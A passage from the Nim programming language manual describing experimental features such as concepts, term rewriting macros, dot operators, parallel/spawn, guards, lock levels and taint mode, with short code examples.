[in T] = object ``` When the designated generic parameter is used to instantiate a pointer-like type as in the case of `AnnotatedPtr` above, the resulting generic type will also have pointer-like covariance: ``` type GuiWidget = object of RootObj Button = object of GuiWidget ComboBox = object of GuiWidget var widgetPtr: AnnotatedPtr[GuiWidget] buttonPtr: AnnotatedPtr[Button] ... proc drawWidget[T](x: AnnotatedPtr[GuiWidget]) = ... # you can call procs expecting base types by supplying a derived type drawWidget(buttonPtr) # and you can convert more-specific pointer types to more general ones widgetPtr = buttonPtr ``` Just like with regular pointers, covariance will be enabled only for immutable values: ``` proc makeComboBox[T](x: var AnnotatedPtr[GuiWidget]) = x.p = new(ComboBox) makeComboBox(buttonPtr) # Error, AnnotatedPtr[Button] cannot be modified # to point to a ComboBox ``` On the other hand, in the `RingBuffer` example above, the designated generic param is used to instantiate the non-pointer `seq` type, which means that the resulting generic type will have covariance that mimics an array or sequence (i.e. it will be covariant only when instantiated with `ptr` and `ref` types): ``` type Base = object of RootObj Derived = object of Base proc consumeBaseValues(b: RingBuffer[Base]) = ... var derivedValues: RingBuffer[Derived] consumeBaseValues(derivedValues) # Error, Base and Derived values may differ # in size proc consumeBasePointers(b: RingBuffer[ptr Base]) = ... var derivedPointers: RingBuffer[ptr Derived] consumeBaseValues(derivedPointers) # This is legal ``` Please note that Nim will treat the user-defined pointer-like types as proper alternatives to the built-in pointer types. That is, types such as `seq[AnnotatedPtr[T]]` or `RingBuffer[AnnotatedPtr[T]]` will also be considered covariant and you can create new pointer-like types by instantiating other user-defined pointer-like types. The contravariant parameters introduced with the `in` modifier are currently useful only when interfacing with imported types having such semantics. Automatic dereferencing ----------------------- Automatic dereferencing is performed for the first argument of a routine call. This feature has to be only enabled via `{.experimental: "implicitDeref".}`: ``` {.experimental: "implicitDeref".} proc depth(x: NodeObj): int = ... var n: Node new(n) echo n.depth # no need to write n[].depth either ``` Code reordering --------------- The code reordering feature can implicitly rearrange procedure, template, and macro definitions along with variable declarations and initializations at the top level scope so that, to a large extent, a programmer should not have to worry about ordering definitions correctly or be forced to use forward declarations to preface definitions inside a module. Example: ``` {.experimental: "codeReordering".} proc foo(x: int) = bar(x) proc bar(x: int) = echo(x) foo(10) ``` Variables can also be reordered as well. Variables that are *initialized* (i.e. variables that have their declaration and assignment combined in a single statement) can have their entire initialization statement reordered. Be wary of what code is executed at the top level: ``` {.experimental: "codeReordering".} proc a() = echo(foo) var foo = 5 a() # outputs: "5" ``` It is important to note that reordering *only* works for symbols at top level scope. Therefore, the following will *fail to compile:* ``` {.experimental: "codeReordering".} proc a() = b() proc b() = echo("Hello!") a() ``` Named argument overloading -------------------------- Routines with the same type signature can be called differently if a parameter has different names. This does not need an `experimental` switch, but is an unstable feature. ``` proc foo(x: int) = echo "Using x: ", x proc foo(y: int) = echo "Using y: ", y foo(x = 2) # Using x: 2 foo(y = 2) # Using y: 2 ``` Do notation ----------- As a special more convenient notation, proc expressions involved in procedure calls can use the `do` keyword: ``` sort(cities) do (x,y: string) -> int: cmp(x.len, y.len) # Less parenthesis using the method plus command syntax: cities = cities.map do (x:string) -> string: "City of " & x # In macros, the do notation is often used for quasi-quoting macroResults.add quote do: if not `ex`: echo `info`, ": Check failed: ", `expString` ``` `do` is written after the parentheses enclosing the regular proc params. The proc expression represented by the do block is appended to them. In calls using the command syntax, the do block will bind to the immediately preceding expression, transforming it in a call. `do` with parentheses is an anonymous `proc`; however a `do` without parentheses is just a block of code. The `do` notation can be used to pass multiple blocks to a macro: ``` macro performWithUndo(task, undo: untyped) = ... performWithUndo do: # multiple-line block of code # to perform the task do: # code to undo it ``` Special Operators ----------------- ### dot operators **Note**: Dot operators are still experimental and so need to be enabled via `{.experimental: "dotOperators".}`. Nim offers a special family of dot operators that can be used to intercept and rewrite proc call and field access attempts, referring to previously undeclared symbol names. They can be used to provide a fluent interface to objects lying outside the static confines of the type system such as values from dynamic scripting languages or dynamic file formats such as JSON or XML. When Nim encounters an expression that cannot be resolved by the standard overload resolution rules, the current scope will be searched for a dot operator that can be matched against a re-written form of the expression, where the unknown field or proc name is passed to an `untyped` parameter: ``` a.b # becomes `.`(a, b) a.b(c, d) # becomes `.`(a, b, c, d) ``` The matched dot operators can be symbols of any callable kind (procs, templates and macros), depending on the desired effect: ``` template `.` (js: PJsonNode, field: untyped): JSON = js[astToStr(field)] var js = parseJson("{ x: 1, y: 2}") echo js.x # outputs 1 echo js.y # outputs 2 ``` The following dot operators are available: ### operator `.` This operator will be matched against both field accesses and method calls. ### operator `.()` This operator will be matched exclusively against method calls. It has higher precedence than the `.` operator and this allows one to handle expressions like `x.y` and `x.y()` differently if one is interfacing with a scripting language for example. ### operator `.=` This operator will be matched against assignments to missing fields. ``` a.b = c # becomes `.=`(a, b, c) ``` Not nil annotation ------------------ **Note:** This is an experimental feature. It can be enabled with `{.experimental: "notnil"}`. All types for which `nil` is a valid value can be annotated with the `not nil` annotation to exclude `nil` as a valid value: ``` {.experimental: "notnil"} type PObject = ref TObj not nil TProc = (proc (x, y: int)) not nil proc p(x: PObject) = echo "not nil" # compiler catches this: p(nil) # and also this: var x: PObject p(x) ``` The compiler ensures that every code path initializes variables which contain non-nilable pointers. The details of this analysis are still to be specified here. Concepts -------- Concepts, also known as "user-defined type classes", are used to specify an arbitrary set of requirements that the matched type must satisfy. Concepts are written in the following form: ``` type Comparable = concept x, y (x < y) is bool Stack[T] = concept s, var v s.pop() is T v.push(T) s.len is Ordinal for value in s: value is T ``` The concept is a match if: 1. all of the expressions within the body can be compiled for the tested type 2. all statically evaluable boolean expressions in the body must be true The identifiers following the `concept` keyword represent instances of the currently matched type. You can apply any of the standard type modifiers such as `var`, `ref`, `ptr` and `static` to denote a more specific type of instance. You can also apply the `type` modifier to create a named instance of the type itself: ``` type MyConcept = concept x, var v, ref r, ptr p, static s, type T ... ``` Within the concept body, types can appear in positions where ordinary values and parameters are expected. This provides a more convenient way to check for the presence of callable symbols with specific signatures: ``` type OutputStream = concept var s s.write(string) ``` In order to check for symbols accepting `type` params, you must prefix the type with the explicit `type` modifier. The named instance of the type, following the `concept` keyword is also considered to have the explicit modifier and will be matched only as a type. ``` type # Let's imagine a user-defined casting framework with operators # such as `val.to(string)` and `val.to(JSonValue)`. We can test # for these with the following concept: MyCastables = concept x x.to(type string) x.to(type JSonValue) # Let's define a couple of concepts, known from Algebra: AdditiveMonoid* = concept x, y, type T x + y is T T.zero is T # require a proc such as `int.zero` or 'Position.zero' AdditiveGroup* = concept x, y, type T x is AdditiveMonoid -x is T x - y is T ``` Please note that the `is` operator allows one to easily verify the precise type signatures of the required operations, but since type inference and default parameters are still applied in the concept body, it's also possible to describe usage protocols that do not reveal implementation details. Much like generics, concepts are instantiated exactly once for each tested type and any static code included within the body is executed only once. ### Concept diagnostics By default, the compiler will report the matching errors in concepts only when no other overload can be selected and a normal compilation error is produced. When you need to understand why the compiler is not matching a particular concept and, as a result, a wrong overload is selected, you can apply the `explain` pragma to either the concept body or a particular call-site. ``` type MyConcept {.explain.} = concept ... overloadedProc(x, y, z) {.explain.} ``` This will provide Hints in the compiler output either every time the concept is not matched or only on the particular call-site. ### Generic concepts and type binding rules The concept types can be parametric just like the regular generic types: ``` ### matrixalgo.nim import typetraits type AnyMatrix*[R, C: static int; T] = concept m, var mvar, type M M.ValueType is T M.Rows == R M.Cols == C m[int, int] is T mvar[int, int] = T type TransposedType = stripGenericParams(M)[C, R, T] AnySquareMatrix*[N: static int, T] = AnyMatrix[N, N, T] AnyTransform3D* = AnyMatrix[4, 4, float] proc transposed*(m: AnyMatrix): m.TransposedType = for r in 0 ..< m.R: for c in 0 ..< m.C: result[r, c] = m[c, r] proc determinant*(m: AnySquareMatrix): int = ... proc setPerspectiveProjection*(m: AnyTransform3D) = ... -------------- ### matrix.nim type Matrix*[M, N: static int; T] = object data: array[M*N, T] proc `[]`*(M: Matrix; m, n: int): M.T = M.data[m * M.N + n] proc `[]=`*(M: var Matrix; m, n: int; v: M.T) = M.data[m * M.N + n] = v # Adapt the Matrix type to the concept's requirements template Rows*(M: typedesc[Matrix]): int = M.M template Cols*(M: typedesc[Matrix]): int = M.N template ValueType*(M: typedesc[Matrix]): typedesc = M.T ------------- ### usage.nim import matrix, matrixalgo var m: Matrix[3, 3, int] projectionMatrix: Matrix[4, 4, float] echo m.transposed.determinant setPerspectiveProjection projectionMatrix ``` When the concept type is matched against a concrete type, the unbound type parameters are inferred from the body of the concept in a way that closely resembles the way generic parameters of callable symbols are inferred on call sites. Unbound types can appear both as params to calls such as `s.push(T)` and on the right-hand side of the `is` operator in cases such as `x.pop is T` and `x.data is seq[T]`. Unbound static params will be inferred from expressions involving the `==` operator and also when types dependent on them are being matched: ``` type MatrixReducer[M, N: static int; T] = concept x x.reduce(SquareMatrix[N, T]) is array[M, int] ``` The Nim compiler includes a simple linear equation solver, allowing it to infer static params in some situations where integer arithmetic is involved. Just like in regular type classes, Nim discriminates between `bind once` and `bind many` types when matching the concept. You can add the `distinct` modifier to any of the otherwise inferable types to get a type that will be matched without permanently inferring it. This may be useful when you need to match several procs accepting the same wide class of types: ``` type Enumerable[T] = concept e for v in e: v is T type MyConcept = concept o # this could be inferred to a type such as Enumerable[int] o.foo is distinct Enumerable # this could be inferred to a different type such as Enumerable[float] o.bar is distinct Enumerable # it's also possible to give an alias name to a `bind many` type class type Enum = distinct Enumerable o.baz is Enum ``` On the other hand, using `bind once` types allows you to test for equivalent types used in multiple signatures, without actually requiring any concrete types, thus allowing you to encode implementation-defined types: ``` type MyConcept = concept x type T1 = auto x.foo(T1) x.bar(T1) # both procs must accept the same type type T2 = seq[SomeNumber] x.alpha(T2) x.omega(T2) # both procs must accept the same type # and it must be a numeric sequence ``` As seen in the previous examples, you can refer to generic concepts such as `Enumerable[T]` just by their short name. Much like the regular generic types, the concept will be automatically instantiated with the bind once auto type in the place of each missing generic param. Please note that generic concepts such as `Enumerable[T]` can be matched against concrete types such as `string`. Nim doesn't require the concept type to have the same number of parameters as the type being matched. If you wish to express a requirement towards the generic parameters of the matched type, you can use a type mapping operator such as `genericHead` or `stripGenericParams` within the body of the concept to obtain the uninstantiated version of the type, which you can then try to instantiate in any required way. For example, here is how one might define the classic `Functor` concept from Haskell and then demonstrate that Nim's `Option[T]` type is an instance of it: ``` import sugar, typetraits type Functor[A] = concept f type MatchedGenericType = genericHead(typeof(f)) # `f` will be a value of a type such as `Option[T]` # `MatchedGenericType` will become the `Option` type f.val is A # The Functor should provide a way to obtain # a value stored inside it type T = auto map(f, A -> T) is MatchedGenericType[T] # And it should provide a way to map one instance of # the Functor to a instance of a different type, given # a suitable `map` operation for the enclosed values import options echo Option[int] is Functor # prints true ``` ### Concept derived values All top level constants or types appearing within the concept body are accessible through the dot operator in procs where the concept was successfully matched to a concrete type: ``` type DateTime = concept t1, t2, type T const Min = T.MinDate T.Now is T t1 < t2 is bool type TimeSpan = typeof(t1 - t2) TimeSpan * int is TimeSpan TimeSpan + TimeSpan is TimeSpan t1 + TimeSpan is T proc eventsJitter(events: Enumerable[DateTime]): float = var # this variable will have the inferred TimeSpan type for # the concrete Date-like value the proc was called with: averageInterval: DateTime.TimeSpan deviation: float ... ``` ### Concept refinement When the matched type within a concept is directly tested against a different concept, we say that the outer concept is a refinement of the inner concept and thus it is more-specific. When both concepts are matched in a call during overload resolution, Nim will assign a higher precedence to the most specific one. As an alternative way of defining concept refinements, you can use the object inheritance syntax involving the `of` keyword: ``` type Graph = concept g, type G of EquallyComparable, Copyable type VertexType = G.VertexType EdgeType = G.EdgeType VertexType is Copyable EdgeType is Copyable var v: VertexType e: EdgeType IncidendeGraph = concept of Graph # symbols such as variables and types from the refined # concept are automatically in scope: g.source(e) is VertexType g.target(e) is VertexType g.outgoingEdges(v) is Enumerable[EdgeType] BidirectionalGraph = concept g, type G # The following will also turn the concept into a refinement when it # comes to overload resolution, but it doesn't provide the convenient # symbol inheritance g is IncidendeGraph g.incomingEdges(G.VertexType) is Enumerable[G.EdgeType] proc f(g: IncidendeGraph) proc f(g: BidirectionalGraph) # this one will be preferred if we pass a type # matching the BidirectionalGraph concept ``` Type bound operations --------------------- There are 4 operations that are bound to a type: 1. Assignment 2. Moves 3. Destruction 4. Deep copying for communication between threads These operations can be *overridden* instead of *overloaded*. This means the implementation is automatically lifted to structured types. For instance if type `T` has an overridden assignment operator `=` this operator is also used for assignments of the type `seq[T]`. Since these operations are bound to a type they have to be bound to a nominal type for reasons of simplicity of implementation: This means an overridden `deepCopy` for `ref T` is really bound to `T` and not to `ref T`. This also means that one cannot override `deepCopy` for both `ptr T` and `ref T` at the same time; instead a helper distinct or object type has to be used for one pointer type. Assignments, moves and destruction are specified in the <destructors> document. ### deepCopy `=deepCopy` is a builtin that is invoked whenever data is passed to a `spawn`'ed proc to ensure memory safety. The programmer can override its behaviour for a specific `ref` or `ptr` type `T`. (Later versions of the language may weaken this restriction.) The signature has to be: ``` proc `=deepCopy`(x: T): T ``` This mechanism will be used by most data structures that support shared memory like channels to implement thread safe automatic memory management. The builtin `deepCopy` can even clone closures and their environments. See the documentation of [spawn](#parallel-amp-spawn-spawn-statement) for details. Case statement macros --------------------- A macro that needs to be called match can be used to rewrite `case` statements in order to implement pattern matching for certain types. The following example implements a simplistic form of pattern matching for tuples, leveraging the existing equality operator for tuples (as provided in `system.==`): ``` {.experimental: "caseStmtMacros".} import macros macro match(n: tuple): untyped = result = newTree(nnkIfStmt) let selector = n[0] for i in 1 ..< n.len: let it = n[i] case it.kind of nnkElse, nnkElifBranch, nnkElifExpr, nnkElseExpr: result.add it of nnkOfBranch: for j in 0..it.len-2: let cond = newCall("==", selector, it[j]) result.add newTree(nnkElifBranch, cond, it[^1]) else: error "'match' cannot handle this node", it echo repr result case ("foo", 78) of ("foo", 78): echo "yes" of ("bar", 88): echo "no" else: discard ``` Currently case statement macros must be enabled explicitly via `{.experimental: "caseStmtMacros".}`. `match` macros are subject to overload resolution. First the `case`'s selector expression is used to determine which `match` macro to call. To this macro is then passed the complete `case` statement body and the macro is evaluated. In other words, the macro needs to transform the full `case` statement but only the statement's selector expression is used to determine which macro to call. Term rewriting macros --------------------- Term rewriting macros are macros or templates that have not only a *name* but also a *pattern* that is searched for after the semantic checking phase of the compiler: This means they provide an easy way to enhance the compilation pipeline with user defined optimizations: ``` template optMul{`*`(a, 2)}(a: int): int = a+a let x = 3 echo x * 2 ``` The compiler now rewrites `x * 2` as `x + x`. The code inside the curlies is the pattern to match against. The operators `*`, `**`, `|`, `~` have a special meaning in patterns if they are written in infix notation, so to match verbatim against `*` the ordinary function call syntax needs to be used. Term rewriting macro are applied recursively, up to a limit. This means that if the result of a term rewriting macro is eligible for another rewriting, the compiler will try to perform it, and so on, until no more optimizations are applicable. To avoid putting the compiler into an infinite loop, there is a hard limit on how many times a single term rewriting macro can be applied. Once this limit has been passed, the term rewriting macro will be ignored. Unfortunately optimizations are hard to get right and even the tiny example is **wrong**: ``` template optMul{`*`(a, 2)}(a: int): int = a+a proc f(): int = echo "side effect!" result = 55 echo f() * 2 ``` We cannot duplicate 'a' if it denotes an expression that has a side effect! Fortunately Nim supports side effect analysis: ``` template optMul{`*`(a, 2)}(a: int{noSideEffect}): int = a+a proc f(): int = echo "side effect!" result = 55 echo f() * 2 # not optimized ;-) ``` You can make one overload matching with a constraint and one without, and the one with a constraint will have precedence, and so you can handle both cases differently. So what about `2 * a`? We should tell the compiler `*` is commutative. We cannot really do that however as the following code only swaps arguments blindly: ``` template mulIsCommutative{`*`(a, b)}(a, b: int): int = b*a ``` What optimizers really need to do is a *canonicalization*: ``` template canonMul{`*`(a, b)}(a: int{lit}, b: int): int = b*a ``` The `int{lit}` parameter pattern matches against an expression of type `int`, but only if it's a literal. ### Parameter constraints The parameter constraint expression can use the operators `|` (or), `&` (and) and `~` (not) and the following predicates: | Predicate | Meaning | | --- | --- | | `atom` | The matching node has no children. | | `lit` | The matching node is a literal like "abc", 12. | | `sym` | The matching node must be a symbol (a bound identifier). | | `ident` | The matching node must be an identifier (an unbound identifier). | | `call` | The matching AST must be a call/apply expression. | | `lvalue` | The matching AST must be an lvalue. | | `sideeffect` | The matching AST must have a side effect. | | `nosideeffect` | The matching AST must have no side effect. | | `param` | A symbol which is a parameter. | | `genericparam` | A symbol which is a generic parameter. | | `module` | A symbol which is a module. | | `type` | A symbol which is a type. | | `var` | A symbol which is a variable. | | `let` | A symbol which is a `let` variable. | | `const` | A symbol which is a constant. | | `result` | The special `result` variable. | | `proc` | A symbol which is a proc. | | `method` | A symbol which is a method. | | `iterator` | A symbol which is an iterator. | | `converter` | A symbol which is a converter. | | `macro` | A symbol which is a macro. | | `template` | A symbol which is a template. | | `field` | A symbol which is a field in a tuple or an object. | | `enumfield` | A symbol which is a field in an enumeration. | | `forvar` | A for loop variable. | | `label` | A label (used in `block` statements). | | `nk*` | The matching AST must have the specified kind. (Example: `nkIfStmt` denotes an `if` statement.) | | `alias` | States that the marked parameter needs to alias with *some* other parameter. | | `noalias` | States that *every* other parameter must not alias with the marked parameter. | Predicates that share their name with a keyword have to be escaped with backticks. The `alias` and `noalias` predicates refer not only to the matching AST, but also to every other bound parameter; syntactically they need to occur after the ordinary AST predicates: ``` template ex{a = b + c}(a: int{noalias}, b, c: int) = # this transformation is only valid if 'b' and 'c' do not alias 'a': a = b inc a, c ``` ### Pattern operators The operators `*`, `**`, `|`, `~` have a special meaning in patterns if they are written in infix notation. #### The `|` operator The `|` operator if used as infix operator creates an ordered choice: ``` template t{0|1}(): untyped = 3 let a = 1 # outputs 3: echo a ``` The matching is performed after the compiler performed some optimizations like constant folding, so the following does not work: ``` template t{0|1}(): untyped = 3 # outputs 1: echo 1 ``` The reason is that the compiler already transformed the 1 into "1" for the `echo` statement. However, a term rewriting macro should not change the semantics anyway. In fact they can be deactivated with the `--patterns:off` command line option or temporarily with the `patterns` pragma. #### The `{}` operator A pattern expression can be bound to a pattern parameter via the `expr{param}` notation: ``` template t{(0|1|2){x}}(x: untyped): untyped = x+1 let a = 1 # outputs 2: echo a ``` #### The `~` operator The `~` operator is the **not** operator in patterns: ``` template t{x = (~x){y} and (~x){z}}(x, y, z: bool) = x = y if x: x = z var a = false b = true c = false a = b and c echo a ``` #### The `*` operator The `*` operator can *flatten* a nested binary expression like `a & b & c` to `&(a, b, c)`: ``` var calls = 0 proc `&&`(s: varargs[string]): string = result = s[0] for i in 1..len(s)-1: result.add s[i] inc calls template optConc{ `&&` * a }(a: string): untyped = &&a let space = " " echo "my" && (space & "awe" && "some " ) && "concat" # check that it's been optimized properly: doAssert calls == 1 ``` The second operator of `*` must be a parameter; it is used to gather all the arguments. The expression `"my" && (space & "awe" && "some " ) && "concat"` is passed to `optConc` in `a` as a special list (of kind `nkArgList`) which is flattened into a call expression; thus the invocation of `optConc` produces: ``` `&&`("my", space & "awe", "some ", "concat") ``` #### The `**` operator The `**` is much like the `*` operator, except that it gathers not only all the arguments, but also the matched operators in reverse polish notation: ``` import macros type Matrix = object dummy: int proc `*`(a, b: Matrix): Matrix = discard proc `+`(a, b: Matrix): Matrix = discard proc `-`(a, b: Matrix): Matrix = discard proc `$`(a: Matrix): string = result = $a.dummy proc mat21(): Matrix = result.dummy = 21 macro optM{ (`+`|`-`|`*`) ** a }(a: Matrix): untyped = echo treeRepr(a) result = newCall(bindSym"mat21") var x, y, z: Matrix echo x + y * z - x ``` This passes the expression `x + y * z - x` to the `optM` macro as an `nnkArgList` node containing: ``` Arglist Sym "x" Sym "y" Sym "z" Sym "*" Sym "+" Sym "x" Sym "-" ``` (Which is the reverse polish notation of `x + y * z - x`.) ### Parameters Parameters in a pattern are type checked in the matching process. If a parameter is of the type `varargs` it is treated specially and it can match 0 or more arguments in the AST to be matched against: ``` template optWrite{ write(f, x) ((write|writeLine){w})(f, y) }(x, y: varargs[untyped], f: File, w: untyped) = w(f, x, y) ``` ### Example: Partial evaluation The following example shows how some simple partial evaluation can be implemented with term rewriting: ``` proc p(x, y: int; cond: bool): int = result = if cond: x + y else: x - y template optP1{p(x, y, true)}(x, y: untyped): untyped = x + y template optP2{p(x, y, false)}(x, y: untyped): untyped = x - y ``` ### Example: Hoisting The following example shows how some form of hoisting can be implemented: ``` import pegs template optPeg{peg(pattern)}(pattern: string{lit}): Peg = var gl {.global, gensym.} = peg(pattern) gl for i in 0 .. 3: echo match("(a b c)", peg"'(' @ ')'") echo match("W_HI_Le", peg"\y 'while'") ``` The `optPeg` template optimizes the case of a peg constructor with a string literal, so that the pattern will only be parsed once at program startup and stored in a global `gl` which is then re-used. This optimization is called hoisting because it is comparable to classical loop hoisting. AST based overloading --------------------- Parameter constraints can also be used for ordinary routine parameters; these constraints affect ordinary overloading resolution then: ``` proc optLit(a: string{lit|`const`}) = echo "string literal" proc optLit(a: string) = echo "no string literal" const constant = "abc" var variable = "xyz" optLit("literal") optLit(constant) optLit(variable) ``` However, the constraints `alias` and `noalias` are not available in ordinary routines. Parallel & Spawn ---------------- Nim has two flavors of parallelism: 1. Structured parallelism via the `parallel` statement. 2. Unstructured parallelism via the standalone `spawn` statement. Nim has a builtin thread pool that can be used for CPU intensive tasks. For IO intensive tasks the `async` and `await` features should be used instead. Both parallel and spawn need the <threadpool> module to work. Somewhat confusingly, `spawn` is also used in the `parallel` statement with slightly different semantics. `spawn` always takes a call expression of the form `f(a, ...)`. Let `T` be `f`'s return type. If `T` is `void` then `spawn`'s return type is also `void` otherwise it is `FlowVar[T]`. Within a `parallel` section sometimes the `FlowVar[T]` is eliminated to `T`. This happens when `T` does not contain any GC'ed memory. The compiler can ensure the location in `location = spawn f(...)` is not read prematurely within a `parallel` section and so there is no need for the overhead of an indirection via `FlowVar[T]` to ensure correctness. **Note**: Currently exceptions are not propagated between `spawn`'ed tasks! ### Spawn statement spawn can be used to pass a task to the thread pool: ``` import threadpool proc processLine(line: string) = discard "do some heavy lifting here" for x in lines("myinput.txt"): spawn processLine(x) sync() ``` For reasons of type safety and implementation simplicity the expression that `spawn` takes is restricted: * It must be a call expression `f(a, ...)`. * `f` must be `gcsafe`. * `f` must not have the calling convention `closure`. * `f`'s parameters may not be of type `var`. This means one has to use raw `ptr`'s for data passing reminding the programmer to be careful. * `ref` parameters are deeply copied which is a subtle semantic change and can cause performance problems but ensures memory safety. This deep copy is performed via `system.deepCopy` and so can be overridden. * For *safe* data exchange between `f` and the caller a global `TChannel` needs to be used. However, since spawn can return a result, often no further communication is required. `spawn` executes the passed expression on the thread pool and returns a data flow variable `FlowVar[T]` that can be read from. The reading with the `^` operator is **blocking**. However, one can use `blockUntilAny` to wait on multiple flow variables at the same time: ``` import threadpool, ... # wait until 2 out of 3 servers received the update: proc main = var responses = newSeq[FlowVarBase](3) for i in 0..2: responses[i] = spawn tellServer(Update, "key", "value") var index = blockUntilAny(responses) assert index >= 0 responses.del(index) discard blockUntilAny(responses) ``` Data flow variables ensure that no data races are possible. Due to technical limitations not every type `T` is possible in a data flow variable: `T` has to be of the type `ref`, `string`, `seq` or of a type that doesn't contain a type that is garbage collected. This restriction is not hard to work-around in practice. ### Parallel statement Example: ``` # Compute PI in an inefficient way import strutils, math, threadpool {.experimental: "parallel".} proc term(k: float): float = 4 * math.pow(-1, k) / (2*k + 1) proc pi(n: int): float = var ch = newSeq[float](n+1) parallel: for k in 0..ch.high: ch[k] = spawn term(float(k)) for k in 0..ch.high: result += ch[k] echo formatFloat(pi(5000)) ``` The parallel statement is the preferred mechanism to introduce parallelism in a Nim program. A subset of the Nim language is valid within a `parallel` section. This subset is checked during semantic analysis to be free of data races. A sophisticated disjoint checker ensures that no data races are possible even though shared memory is extensively supported! The subset is in fact the full language with the following restrictions / changes: * `spawn` within a `parallel` section has special semantics. * Every location of the form `a[i]` and `a[i..j]` and `dest` where `dest` is part of the pattern `dest = spawn f(...)` has to be provably disjoint. This is called the *disjoint check*. * Every other complex location `loc` that is used in a spawned proc (`spawn f(loc)`) has to be immutable for the duration of the `parallel` section. This is called the *immutability check*. Currently it is not specified what exactly "complex location" means. We need to make this an optimization! * Every array access has to be provably within bounds. This is called the *bounds check*. * Slices are optimized so that no copy is performed. This optimization is not yet performed for ordinary slices outside of a `parallel` section. Guards and locks ---------------- Apart from `spawn` and `parallel` Nim also provides all the common low level concurrency mechanisms like locks, atomic intrinsics or condition variables. Nim significantly improves on the safety of these features via additional pragmas: 1. A guard annotation is introduced to prevent data races. 2. Every access of a guarded memory location needs to happen in an appropriate locks statement. 3. Locks and routines can be annotated with lock levels to allow potential deadlocks to be detected during semantic analysis. ### Guards and the locks section #### Protecting global variables Object fields and global variables can be annotated via a `guard` pragma: ``` var glock: TLock var gdata {.guard: glock.}: int ``` The compiler then ensures that every access of `gdata` is within a `locks` section: ``` proc invalid = # invalid: unguarded access: echo gdata proc valid = # valid access: {.locks: [glock].}: echo gdata ``` Top level accesses to `gdata` are always allowed so that it can be initialized conveniently. It is *assumed* (but not enforced) that every top level statement is executed before any concurrent action happens. The `locks` section deliberately looks ugly because it has no runtime semantics and should not be used directly! It should only be used in templates that also implement some form of locking at runtime: ``` template lock(a: TLock; body: untyped) = pthread_mutex_lock(a) {.locks: [a].}: try: body finally: pthread_mutex_unlock(a) ``` The guard does not need to be of any particular type. It is flexible enough to model low level lockfree mechanisms: ``` var dummyLock {.compileTime.}: int var atomicCounter {.guard: dummyLock.}: int template atomicRead(x): untyped = {.locks: [dummyLock].}: memoryReadBarrier() x echo atomicRead(atomicCounter) ``` The `locks` pragma takes a list of lock expressions `locks: [a, b, ...]` in order to support *multi lock* statements. Why these are essential is explained in the [lock levels](#guards-and-locks-lock-levels) section. #### Protecting general locations The `guard` annotation can also be used to protect fields within an object. The guard then needs to be another field within the same object or a global variable. Since objects can reside on the heap or on the stack this greatly enhances the expressivity of the language: ``` type ProtectedCounter = object v {.guard: L.}: int L: TLock proc incCounters(counters: var openArray[ProtectedCounter]) = for i in 0..counters.high: lock counters[i].L: inc counters[i].v ``` The access to field `x.v` is allowed since its guard `x.L` is active. After template expansion, this amounts to: ``` proc incCounters(counters: var openArray[ProtectedCounter]) = for i in 0..counters.high: pthread_mutex_lock(counters[i].L) {.locks: [counters[i].L].}: try: inc counters[i].v finally: pthread_mutex_unlock(counters[i].L) ``` There is an analysis that checks that `counters[i].L` is the lock that corresponds to the protected location `counters[i].v`. This analysis is called path analysis because it deals with paths to locations like `obj.field[i].fieldB[j]`. The path analysis is **currently unsound**, but that doesn't make it useless. Two paths are considered equivalent if they are syntactically the same. This means the following compiles (for now) even though it really should not: ``` {.locks: [a[i].L].}: inc i access a[i].v ``` ### Lock levels Lock levels are used to enforce a global locking order in order to detect potential deadlocks during semantic analysis. A lock level is an constant integer in the range 0..1\_000. Lock level 0 means that no lock is acquired at all. If a section of code holds a lock of level `M` than it can also acquire any lock of level `N < M`. Another lock of level `M` cannot be acquired. Locks of the same level can only be acquired *at the same time* within a single `locks` section: ``` var a, b: TLock[2] var x: TLock[1] # invalid locking order: TLock[1] cannot be acquired before TLock[2]: {.locks: [x].}: {.locks: [a].}: ... # valid locking order: TLock[2] acquired before TLock[1]: {.locks: [a].}: {.locks: [x].}: ... # invalid locking order: TLock[2] acquired before TLock[2]: {.locks: [a].}: {.locks: [b].}: ... # valid locking order, locks of the same level acquired at the same time: {.locks: [a, b].}: ... ``` Here is how a typical multilock statement can be implemented in Nim. Note how the runtime check is required to ensure a global ordering for two locks `a` and `b` of the same lock level: ``` template multilock(a, b: ptr TLock; body: untyped) = if cast[ByteAddress](a) < cast[ByteAddress](b): pthread_mutex_lock(a) pthread_mutex_lock(b) else: pthread_mutex_lock(b) pthread_mutex_lock(a) {.locks: [a, b].}: try: body finally: pthread_mutex_unlock(a) pthread_mutex_unlock(b) ``` Whole routines can also be annotated with a `locks` pragma that takes a lock level. This then means that the routine may acquire locks of up to this level. This is essential so that procs can be called within a `locks` section: ``` proc p() {.locks: 3.} = discard var a: TLock[4] {.locks: [a].}: # p's locklevel (3) is strictly less than a's (4) so the call is allowed: p() ``` As usual `locks` is an inferred effect and there is a subtype relation: `proc () {.locks: N.}` is a subtype of `proc () {.locks: M.}` iff (M <= N). The `locks` pragma can also take the special value `"unknown"`. This is useful in the context of dynamic method dispatching. In the following example, the compiler can infer a lock level of 0 for the `base` case. However, one of the overloaded methods calls a procvar which is potentially locking. Thus, the lock level of calling `g.testMethod` cannot be inferred statically, leading to compiler warnings. By using `{.locks: "unknown".}`, the base method can be marked explicitly as having unknown lock level as well: ``` type SomeBase* = ref object of RootObj type SomeDerived* = ref object of SomeBase memberProc*: proc () method testMethod(g: SomeBase) {.base, locks: "unknown".} = discard method testMethod(g: SomeDerived) = if g.memberProc != nil: g.memberProc() ``` ### noRewrite pragma Term rewriting macros and templates are currently greedy and they will rewrite as long as there is a match. There was no way to ensure some rewrite happens only once, e.g. when rewriting term to same term plus extra content. `noRewrite` pragma can actually prevent further rewriting on marked code, e.g. with given example `echo("ab")` will be rewritten just once: ``` template pwnEcho{echo(x)}(x: expr) = {.noRewrite.}: echo("pwned!") echo "ab" ``` `noRewrite` pragma can be useful to control term-rewriting macros recursion. Taint mode ---------- The Nim compiler and most parts of the standard library support a taint mode. Input strings are declared with the TaintedString string type declared in the `system` module. If the taint mode is turned on (via the `--taintMode:on` command line option) it is a distinct string type which helps to detect input validation errors: ``` echo "your name: " var name: TaintedString = stdin.readline # it is safe here to output the name without any input validation, so # we simply convert `name` to string to make the compiler happy: echo "hi, ", name.string ``` If the taint mode is turned off, `TaintedString` is simply an alias for `string`. Aliasing restrictions in parameter passing ------------------------------------------ **Note**: The aliasing restrictions are currently not enforced by the implementation and need to be fleshed out further. "Aliasing" here means that the underlying storage locations overlap in memory at runtime. An "output parameter" is a parameter of type `var T`, an input parameter is any parameter that is not of type `var`. 1. Two output 